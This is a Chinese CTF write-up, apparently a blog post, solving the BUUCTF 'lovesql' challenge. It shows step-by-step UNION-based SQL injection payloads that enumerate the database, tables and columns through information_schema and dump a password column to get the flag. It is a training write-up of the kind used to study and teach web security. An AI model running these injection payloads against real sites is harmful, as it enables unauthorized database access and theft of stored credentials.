buuctf 极客大挑战 lovesql

根据题意,sql注入,先看看他的报错信息,判断是字符型还是数字型
(注意在username下千万不要输入admin等这些在数据库敏感的词汇,CTF是去找flag,而不是渗透)

在username输入1’
在这里插入图片描述
可以发现他报错内容出现在pasword里,那我们就换成password查看报错信息

在这里插入图片描述
报错信息为:''12''' at line 1
可以发现 12’ 是我们输入的内容 ,说明是字符型

如果是整形,他的报错信息应为
"'"
那我们需要闭合,由于这个题目没有过滤任何sql注入的关键字,我们直接用 %23(#)来进行闭合sql语句
在这里插入图片描述

由于页面有回显,可以用到联合注入
12' union select 1%23

在这里插入图片描述提示我们还有更多的列,往后面加,发现有3个列
12' union select 1,2,3%23
在这里插入图片描述
并且显示2,3字段可查

我们查询当前所用的数据库名
12' union select 1,database(),3%23
在这里插入图片描述
发现数据库名是geek

接着查询geek里的表名,最后用group_concat,将所有的表都显示出来

我们在2字段查询的时候,发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3#'' at line 1

注意提示,我们换3字段
12' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23

information_schema 这个库里包含了你所有创建的库,表的信息,所有可以从这个库里查找当前网页使用的库
在这里插入图片描述
geek库有两个表,表名分别为:geekuser,l0ve1ysq1

再查询列名

12' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' %23

在这里插入图片描述

两张表的列名都为 id ,username, password
注意之前的表名 有个l0ve1ysq1,刚好符合这个题目的名字lovesql
因此查询这张表的信息

最终在password的列里找到flag

12' union select 1,2,group_concat(password) from l0ve1ysq1 %23

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值